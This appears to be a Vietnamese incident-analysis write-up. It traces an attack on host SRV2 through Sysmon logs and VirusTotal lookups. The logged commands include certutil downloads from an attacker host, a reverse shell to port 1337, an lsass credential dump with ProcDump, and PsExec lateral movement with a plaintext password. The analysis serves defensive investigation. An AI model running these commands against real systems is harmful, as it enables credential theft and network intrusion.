Selected	CommandLine	"c:\windows\system32\cmd.exe" /c C:\Windows\Temp\explore.exe -c "C:\Windows\Temp\GoogleUpdate.exe 192.168.11.42 1337 -e cmd"
	EventCode	1
	Image	C:\Windows\System32\cmd.exe
	ParentProcessId	1792
	ProcessId	3460

check processid 8932

Type	Field	Value
Selected	CommandLine	certutil.exe -urlcache -f http://192.168.11.42:8000/tunnel.aspx index.aspx
	ParentProcessId	8784
	ProcessId	8932

check processid 6132

Type	Field	Value
Selected	CommandLine	"c:\windows\system32\cmd.exe" /c echo 123 > "C:\Windows\System32\crash.log"
	ParentProcessId	1792
	ProcessId	6132

3

/ 74

Community Score

⚠ File distributed by Microsoft

Reanalyze Similar More

edfae1a69522f87b12c6dac3225d930e4848832e3c551ee1e7d31736bf4525ef

Size813.94 KB

Last Modification Date7 minutes ago

EXE

peexe overlay detect-debug-environment runtime-modules known-distributor 64bits signed assembly direct-cpu-clock-access

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY 6


[Join our Community](#) and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

check processid 4776=> 9068=>>504=>>8784

i	_time	host	source	sourcetype	ParentProcessId	ProcessId	CommandLine
>	5/8/24 4:48:21.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	9128	C:\Windows\Temp\p.exe \10.11.131.30 -u admbx-pPasswOrd@123 cmd.exe
>	5/8/24 4:46:20.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	3708	C:\Windows\Temp\p.exe \10.11.131.30 -u David -pPasswOrd@123 cmd -accepteula
>	5/8/24 4:45:41.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	4192	C:\Windows\Temp\p.exe \10.11.131.30 -u David -pPasswOrd@123 cmd
>	5/8/24 4:42:30.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	6128	certutil.exe -urlcache -f http://192.168.11.42:8000/ps.exe C:\Windows\Temp\p.exe
>	5/8/24 4:40:25.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	8932	certutil.exe -urlcache -f http://192.168.11.42:8000/tunnel.aspx index.aspx
>	5/8/24 4:37:36.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	8944	ping 10.11.131.33
>	5/8/24 4:26:55.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	5964	f.exe -h 10.11.131/24
>	5/8/24 4:26:43.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	4448	ipconfig

>	5/8/24 4:45:41.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	712	C:\Windows\Temp\p64.exe -ma lsass.exe PasswOrd@123 cmd
>	5/8/24 4:42:30.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	6128	certutil.exe -urlcache -f http://192.168.11.42:8000/ps.exe C:\Windows\Temp\p.exe
>	5/8/24 4:40:25.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	8932	certutil.exe -urlcache -f http://192.168.11.42:8000/tunnel.aspx index.aspx
>	5/8/24 4:37:36.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	8944	ping 10.11.131.33
>	5/8/24 4:26:55.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	5964	f.exe -h 10.11.131.1/24
>	5/8/24 4:26:43.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	4448	ipconfig
>	5/8/24 4:25:28.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	896	certutil.exe -urlcache -f http://192.168.11.42:8000/fscaa.exe f.exe
>	5/8/24 4:20:09.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	4464	p64.exe -accepteula -ma lsass.exe crashdump
>	5/8/24 4:19:43.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	8244	certutil.exe -urlcache -f http://192.168.11.42:8000/p64.exe C:\Windows\Temp\p64.exe
>	5/8/24 4:16:25.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	504	8784	cmd

Ta thấy có hành vi drop file [p64.exe -accepteula -ma lsass.exe crashdump](#)



Sign in [Sign up](#)

We have changed our Privacy Notice and Terms of Use, effective July 18, 2024. You can view the updated [Privacy Notice](#) and [Terms of Use](#).

[Accept terms of use](#)

0

/ 73

Community Score

Community Score

Community Score

Community Score

File distributed by Microsoft

Reanalyze

Similar

More

5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61

Size

414.90 KB

Last Modification Date

8 hours ago

EXE

procdump

peexe

overlay

signed

runtime-modules

known-distributor

assembly

64bits

detect-debug-environment

direct-cpu-clock-access

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY 5

[Join our Community](#) and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

Type	Field	Value	Action
Selected	CommandLine	p64.exe -accepteula -ma lsass.exe crashdump	
	ParentProcessId	8784	
	ProcessId	4464	
	host	SRV2	
	source	WinEventLog:Microsoft-Windows-Sysmon/Operational	
	sourcetype	WinEventLog:Microsoft-Windows-Sysmon/Operational	
Event	Company	Sysinternals - www.sysinternals.com	
	ComputerName	srv2	
	CurrentDirectory	C:\Windows\Temp\	
	Description	Sysinternals process dump utility	
	EventCode	1	
	EventType	4	
	FileVersion	11.0	
	Hashes	MD5=68A1F7C796DE1D0DF6B2D78E182DF3A0,SHA256=5B165B01F9A1395CAE79E0F85B7A1C10DC089340CF4E7BE48813AC2F8686ED61,IMPHASH=6216B9E2015376E4CAB2DF349F9E6CDD	
	Image	C:\Windows\Temp\p64.exe	
	IntegrityLevel	System	
	Keywords	None	
	LogName	Microsoft-Windows-Sysmon/Operational	
	LogonGuid	[8C9F9614-89B9-6638-E703-000000000000]	
	LogonId	0x3E7	
	Message	Process Create: RuleName: - UtcTime: 2024-05-08 09:20:09.526 ProcessGuid: [8C9F9614-43C9-663B-2155-000000001900] ProcessId: 4464 Image: C:\Windows\Temp\p64.exe FileVersion: 11.0 Description: Sysinternals process dump utility Product: ProcDump Company: Sysinternals - www.sysinternals.com OriginalFileName: procdump CommandLine: p64.exe -accepteula -ma lsass.exe crashdump CurrentDirectory: C:\Windows\Temp\ User: NT AUTHORITY\SYSTEM LogonGuid: [8C9F9614-89B9-6638-E703-000000000000] LogonId: 0x3E7 TerminalSessionId: 0 IntegrityLevel: System Hashes: MD5=68A1F7C796DE1D0DF6B2D78E182DF3A0,SHA256=5B165B01F9A1	

=>> attacker sẽ tải file p64.exe từ url 192.168.11.41 8000 và được lưu trữ lại
C:\Windows\Temp\ để dump credential

Check process 4192

Type	Field	Value
Selected	CommandLine	C:\Windows\Temp\p.exe \10.11.131.30 -u David -p PasswOrd@123 cmd
	ParentProcessId	8784
	ProcessId	4192
	host	SRV2
	source	WinEventLog:Microsoft-Windows-Sysmon/Operational

We have changed our Privacy Notice and Terms of Use, effective July 18, 2024. You can view the updated [Privacy Notice](#) and [Terms of Use](#).

Accept terms of use

3

/ 74

Community Score

File distributed by Microsoft

Reanalyze Similar More

edfae1a69522f87b12c6dac3225d930e4848832e3c551ee1e7d31736bf4525ef

Size 813.94 KB

Last Modification Date 21 minutes ago

EXE

psexec.c

peexe overlay detect-debug-environment runtime-modules known-distributor 64bits signed assembly direct-cpu-clock-access

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY 6

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

Popular threat label hacktool.psexec

Threat categories hacktool

Family labels psexec

- ⇒ Sau khi dump được psswd, attacker cố gắng chiếm quyền điều khiển SRV1 VÀ SRV4 thông qua PsExec
- ⇒ check processid 9128

i	_time	host	source	sourcetype	ProcessId	ParentProcessId	CommandLine
>	5/8/24 4:48:21.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	9128	8784	C:\Windows\Temp\p.exe \10.11.131.30 -u admbx-pPasswOrd@123 cmd.exe

edfae1a69522f87b12c6dac3225d930e4848832e3c551ee1e7d31736bf4525ef

We have changed our Privacy Notice and Terms of Use, effective July 18, 2024. You can view the updated [Privacy Notice](#) and [Terms of Use](#).

[Accept terms of use](#)

3

/ 74

Community Score

File distributed by Microsoft

Reanalyze

Similar

More

edfae1a69522f87b12c6dac3225d930e4848832e3c551ee1e7d31736bf4525ef

Size
813.94 KB

Last Modification Date
6 minutes ago

psexec.c

peexe overlay detect-debug-environment runtime-modules known-distributor 64bits signed assembly direct-cpu-clock-access

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 6

[Join our Community](#) and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

Popular threat label hacktool.psexec

Threat categories hacktool

Family labels psexec

check processid 3708

i	_time	host	source	sourcetype	ParentProcessId	ProcessId	CommandLine
>	5/8/24 4:46:20.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8784	3708	C:\Windows\Temp\p.exe \10.11.131.30 -u David -pPasswOrd@123 cmd -accepteula

=>> từ đó ta có thể nhận biết quá trình vào lúc 5/8/24 4:19:43.000 PM attacker đã tải file p64.exe sau đó thực thi f.exe -h 10.11.131.1/24 để scan các ip trong dải mạng này, sau đó là ipconfig, ping SRV4 và dump credential trên AD . Sau khi có credential đó attacker cố gắng chiếm quyền điều khiển của SRV1 và SRV4 thông qua PsExe